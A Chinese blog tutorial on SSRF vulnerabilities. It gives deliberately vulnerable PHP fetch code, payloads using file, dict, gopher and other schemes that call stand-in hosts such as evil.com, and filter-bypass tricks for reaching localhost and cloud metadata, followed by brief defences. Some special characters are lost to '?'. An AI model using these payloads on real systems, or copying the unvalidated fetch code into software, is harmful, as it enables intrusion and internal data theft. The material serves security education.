SSRF漏洞原理攻擊與防御(超詳細總結)
提示:以下是本篇文章正文內容,下面案例可供參考
一、SSRF是什么?
二、SSRF漏洞原理

比如,黑客操作服務端從指定URL地址獲取網頁文本內容,加載指定地址的圖片,下載等等。利用的是服務端的請求偽造。ssrf是利用存在缺陷的web應用作為代理攻擊遠程和本地的服務器
三、SSRF漏洞挖掘
1、分享:通過URL地址分享網頁內容

2、轉碼服務:通過URL地址把原地址的網頁內容調優使其適合手機屏幕瀏覽:由于手機屏幕大小的關系,直接瀏覽網頁內容的時候會造成許多不便,因此有些公司提供了轉碼功能,把網頁內容通過相關手段轉為適合手機屏幕瀏覽的樣式。例如百度、騰訊、搜狗等公司都有提供在線轉碼服務。
3、在線翻譯:通過URL地址翻譯對應文本的內容。提供此功能的國內公司有百度、有道等。

4、圖片、文章收藏功能:此處的圖片、文章收藏中的文章收藏就類似于分享功能中獲取URL地址中title以及文本的內容作為顯示,目的還是為了更好的用戶體驗,而圖片收藏就類似于功能四、圖片加載。
http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de
例如title參數是文章的標題地址,代表了一個文章的地址鏈接,請求后返回文章是否保存,收藏的返回信息。如果保存,收藏功能采用了此種形式保存文章,則在沒有限制參數的形式下可能存在SSRF。
5、未公開的api實現以及其他調用URL的功能:此處類似的功能有360提供的網站評分,以及有些網站通過api獲取遠程地址xml文件來加載內容。

6、圖片加載與下載:通過URL地址加載或下載圖片,圖片加載遠程圖片地址此功能用到的地方很多,但大多都是比較隱秘,比如在有些公司中的加載自家圖片服務器上的圖片用于展示。
(此處可能會有人有疑問,為什么加載圖片服務器上的圖片也會有問題,直接使用img標簽不就好了?沒錯是這樣,但是開發者為了有更好的用戶體驗通常對圖片做些微小調整例水印、壓縮等所以就可能造成SSRF問題)。
7、從URL關鍵字中尋找
利用google 語法加上這些關鍵字去尋找SSRF漏洞
share
wap
url
link
src
source
target
u
display
sourceURl
imageURL
domain
簡單來說:所有目標服務器會從自身發起請求的功能點,且我們可以控制地址的參數,都可能造成SSRF漏洞
四、產生SSRF漏洞的函數
SSRF攻擊可能存在任何語言編寫的應用,接下來將舉例php中可能存在SSRF漏洞的函數。
1、file_get_contents:
下面的代碼使用file_get_contents函數從用戶指定的url獲取圖片。然后把它用一個隨即文件名保存在硬盤上,并展示給用戶。
<?php
if (isset($_POST['url']))
{
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>
2、sockopen():
以下代碼使用fsockopen函數實現獲取用戶制定url的數據(文件或者html)。這個函數會使用socket跟服務器建立tcp連接,傳輸原始數據。
<?php
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
3、curl_exec():
cURL這是另一個非常常見的實現,它通過 PHP獲取數據。文件/數據被下載并存儲在“curled”文件夾下的磁盤中,并附加了一個隨機數和“.txt”文件擴展名。
<?phpif (isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
注意事項
一般情況下PHP不會開啟fopen的gopher wrapper
file_get_contents的gopher協議不能URL編碼
file_get_contents關于Gopher的302跳轉會出現bug,導致利用失敗
curl/libcurl 7.43 上gopher協議存在bug(%00截斷) 經測試7.49 可用
curl_exec() 默認不跟蹤跳轉,
file_get_contents()?file_get_contents支持php://input協議
五、SSRF中URL的偽協議
當我們發現SSRF漏洞后,首先要做的事情就是測試所有可用的URL偽協議
file:/// 從文件系統中獲取文件內容,如,file:///etc/passwd
dict:// 字典服務器協議,訪問字典資源,如,dict:///ip:6739/info:
sftp:// SSH文件傳輸協議或安全文件傳輸協議
ldap:// 輕量級目錄訪問協議
tftp:// 簡單文件傳輸協議
gopher:// 分布式文檔傳遞服務,可使用gopherus生成payload
1、file
這種URL Schema可以嘗試從文件系統中獲取文件:
http://example.com/ssrf.php?url=file:///etc/passwdhttp://example.com/ssrf.php?url=file:///C:/Windows/win.ini
如果該服務器阻止對外部站點發送HTTP請求,或啟用了白名單防護機制,只需使用如下所示的URL Schema就可以繞過這些限制:
2、dict
這種URL Scheme能夠引用允許通過DICT協議使用的定義或單詞列表:
http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
3、sftp
在這里,Sftp代表SSH文件傳輸協議(SSH File Transfer Protocol),或安全文件傳輸協議(Secure File Transfer Protocol),這是一種與SSH打包在一起的單獨協議,它運行在安全連接上,并以類似的方式進行工作。
http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
4、ldap://或ldaps:// 或ldapi://
LDAP代表輕量級目錄訪問協議。它是IP網絡上的一種用于管理和訪問分布式目錄信息服務的應用程序協議。
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
5、tftp://
TFTP(Trivial File Transfer Protocol,簡單文件傳輸協議)是一種簡單的基于lockstep機制的文件傳輸協議,它允許客戶端從遠程主機獲取文件或將文件上傳至遠程主機。
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3
6、gopher://
Gopher是一種分布式文檔傳遞服務。利用該服務,用戶可以無縫地瀏覽、搜索和檢索駐留在不同位置的信息。
http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest
六、SSRF漏洞利用(危害)
1.可以對外網、服務器所在內網、本地進行端口掃描,獲取一些服務的banner信息;
2.攻擊運行在內網或本地的應用程序(比如溢出);
3.對內網web應用進行指紋識別,通過訪問默認文件實現;
4.攻擊內外網的web應用,主要是使用get參數就可以實現的攻擊(比如struts2,sqli等);
5.利用file協議讀取本地文件等。.
6.各個協議調用探針:http,file,dict,ftp,gopher等
http:192.168.64.144/phpmyadmin/
file:///D:/www.txt
dict://192.168.64.144:3306/info
ftp://192.168.64.144:21
七、SSRF繞過方式
部分存在漏洞,或者可能產生SSRF的功能中做了白名單或者黑名單的處理,來達到阻止對內網服務和資源的攻擊和訪問。因此想要達到SSRF的攻擊,需要對請求的參數地址做相關的繞過處理,常見的繞過方式如下:
一、常見的繞過方式
1、限制為http://www.xxx.com 域名時(利用@)
可以嘗試采用http基本身份認證的方式繞過
如:http://[email protected]@www.ccc.com,在對@解析域名中,不同的處理函數存在處理差異
在PHP的parse_url中會識別www.ccc.com,而libcurl則識別為www.bbb.com。
2.采用短網址繞過
比如百度短地址https://dwz.cn/
3.采用進制轉換
127.0.0.1八進制:0177.0.0.1。十六進制:0x7f.0.0.1。十進制:2130706433.

4.利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即
127.0.0.1.xip.io,可解析為127.0.0.1
(xip.io 現在好像用不了了,可以找找其他的)
5.利用[::]
可以利用[::]來繞過localhost
http://169.254.169.254>>http://[::169.254.169.254]
6.利用句號
127。0。0。1 >>> 127.0.0.1
7、CRLF 編碼繞過
%0d->0x0d->\r回車
%0a->0x0a->\n換行
進行HTTP頭部注入
example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a?
8.利用封閉的字母數字
利用Enclosed alphanumerics
???????.??? >>> example.com
http://169.254.169.254>>>http://[::①⑥⑨?②⑤④??⑨?②⑤④]
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ? ? ? ? ? ? ? ? ? ?
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ?
二、常見限制
1.限制為http://www.xxx.com 域名
采用http基本身份認證的方式繞過,即@
http://[email protected]
2.限制請求IP不為內網地址
當不允許ip為內網地址時:
(1)采取短網址繞過
(2)采取特殊域名
(3)采取進制轉換
3.限制請求只為http協議
(1)采取302跳轉
(2)采取短地址
八、SSRF漏防御
通常有以下5個思路:
1,過濾返回信息,驗證遠程服務器對請求的響應是比較容易的方法。如果web應用是去獲取某一種類型的文件。那么在把返回結果展示給用戶之前先驗證返回的信息是否符合標準。
2, 統一錯誤信息,避免用戶可以根據錯誤信息來判斷遠端服務器的端口狀態。
3,限制請求的端口為http常用的端口,比如,80,443,8080,8090。
4,黑名單內網ip。避免應用被用來獲取獲取內網數據,攻擊內網。
5,禁用不需要的協議。僅僅允許http和https請求。可以防止類似于file:///,gopher://,ftp:// 等引起的問題。
版權聲明:本文為CSDN博主「零點敲代碼」的原創文章,遵循CC 4.0 BY-SA版權協議,轉載請附上原文出處鏈接及本聲明。
原文鏈接:https://blog.csdn.net/qq_43378996/article/details/124050308